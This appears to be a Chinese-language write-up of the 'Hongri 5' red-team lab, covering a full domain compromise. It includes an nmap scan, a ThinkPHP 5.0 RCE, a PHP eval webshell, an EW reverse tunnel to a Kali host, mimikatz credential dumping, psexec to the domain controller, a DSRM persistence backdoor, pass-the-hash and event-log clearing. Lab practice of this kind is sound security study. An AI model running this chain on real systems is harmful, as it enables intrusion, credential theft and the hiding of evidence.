红日5
一.环境搭建
此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习
1.环境拓扑图
2.靶机下载地址: 漏洞详情
3. 我们设置VMware新建网卡VMnet14,选择仅主机模式,并将网段IP设置为192.168.138.0:
4. 然后将Windows 7和Windows 2008绑在这个VMnet14上。除此之外,还需要给Windows 7 新增一个网卡,并设置为桥接模式。最终Windows 7具有两个网卡,分别连通内外网,而Windows 2008只有一个网卡连接,处于内网无法与外网通信
注意,win7的外网IP,作者已经改成手动135.150了,我们需要登录进去win7,把wk1网卡改成自动获取
5.ip地址如下:
Windows 7:
•Web服务器(使用的是PHPStudy,记得自己手动开一下)
•模拟外网IP:10.10.10.237
•内网IP:192.168.138.136
Windows Server 2008:
•域控制器
•内网IP:192.168.138.138
6.主机密码
win7
sun\heart 123.com
sun\Administrator dc123.com
2008
sun\admin 2020.com
Win7双网卡模拟内外网
二.外网渗透
1. 我们使用nmap进行扫描win7:
nmap -T4 -sC -sV 192.168.138.136
发现Web服务和Mysql:
2.我们访问80端口,发现是一个thinkphp
3. 版本是ThinkPHP V5.0,既然是V5.0,那么我们就可以尝试一下Thinkphp远程命令执行漏洞
漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST['_method'] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 $_POST['_method']='__construct' 而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令
4. 报错查看详细版本:
5. 方法一:
1)使用kali的searchsploit查找一下漏洞利用POC:
searchsploit thinkphp
2)发现最后一个是thinkphp5.X版本的RCE,我们进入该漏洞的文件46150.txt:
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt
3)命令执行成功:
4)写入Webshell:
5)我们连接蚁剑
6.方法二:
1) 使用ThinkPHP一键检测工具进行漏洞检测
2) 成功检测出漏洞后,利用漏洞上传木马文件。
<?php
phpinfo();
@eval($_POST['shell']);
?>
3) 查看URL可以看到,我们的一句话木马上传成功
4)接下来就是使用蚁剑进行连接
三. 攻入内网
内网信息收集(有多种方法:msf、cs、蚁剑)
接下来要做的就是信息收集了,msf和cs收集的步骤在1,2里面讲过这里不在讲,这里我们只做几个有用的信息收集
1)我们查看ip地址
2)我们查看显示当前运行的工作站
3)查看域内主机
4) 查看域控制器
5) 查看域管理员
6) 可知域控制器为DC$,域管理员为Administrator。ping一下DC$得到域控的IP为192.168.138.138:
通过信息收集,目标主机所在的域环境,域名为sun.com,存在两台域主机DC和win7.DC的ip为:192.168.138.138,win7双网卡:192.168.135.150、192.168.138.136。
其中域控制器DC.sun.com,域管理员为Administrator。
提示: 这里我们使用metasploit的web_delivery模块
四.横向移动
1.msf路由转发
2. kali开启代理
vim /etc/proxychains4.conf
sock5 127.0.0.1 1080
3. 把ew上传到win7上
upload/app/tools/ew-master/ew_for_Win.exe C:\\phpStudy\\PHPTutorial\\WWW\\public
win7连接kali
ew_for_Win.exe -s rssocks -d 192.168.31.96 -e 1234
4.msf渗透
1) wiki模块抓取密码
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
2) 报错了,这一看就是位数不对,mimikatz是32位,不能访问64位的,那就给迁移到64位
ps
migrate 316
3)我们再次执行拿到域管理员的用户名和密码
administrator/dc2020.com
kiwi_cmd sekurlsa::logonPasswords
4) 利用Psexec登录域控
use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc2020.com
set payload windows/meterpreter/bind_tcp
set rhost 192.168.138.138
set lport 6666
run
执行失败了
服务启动超时,试试是不是防火墙,利用shell建立连接,关闭防火墙(我们使用蚁剑)
我们再次连接
5) 我们已经成功获取2个主机的会话
6)我们开启远程桌面
五.权限维持
1. 创建 DSRM 后门
DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
注意:该类持久化操作适用的服务器版本:Windows Server 2008及以后版本的Windows服务器。
1) 首先,我们为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码
ntdsutil // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码
<password> // 输入新密码
<password> // 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil
2) 接着,我们使用kiwi模块执行mimikatz命令来读取域控本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功:
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd token::elevate
kiwi_cmd lsadump::sam
3) 然后,我们修改域控主机的DSRM账户登录方式。在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式
•0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
•1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
•2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
如下所示,我们用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器:
4) 最后,我们即可以在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控了:
privilege::debug
sekurlsa::pth /domain:DC /user:Administrator /ntlm:你的hash
5) 详情请看:内网渗透测试:域内权限维持思路总结 - FreeBuf网络安全行业门户
六. 入侵痕迹清理
Metasploit 痕迹清除
(1)查看事件日志
run event_manager -i
(2)清除事件日志(包括六种日志类型)
run event_manager -c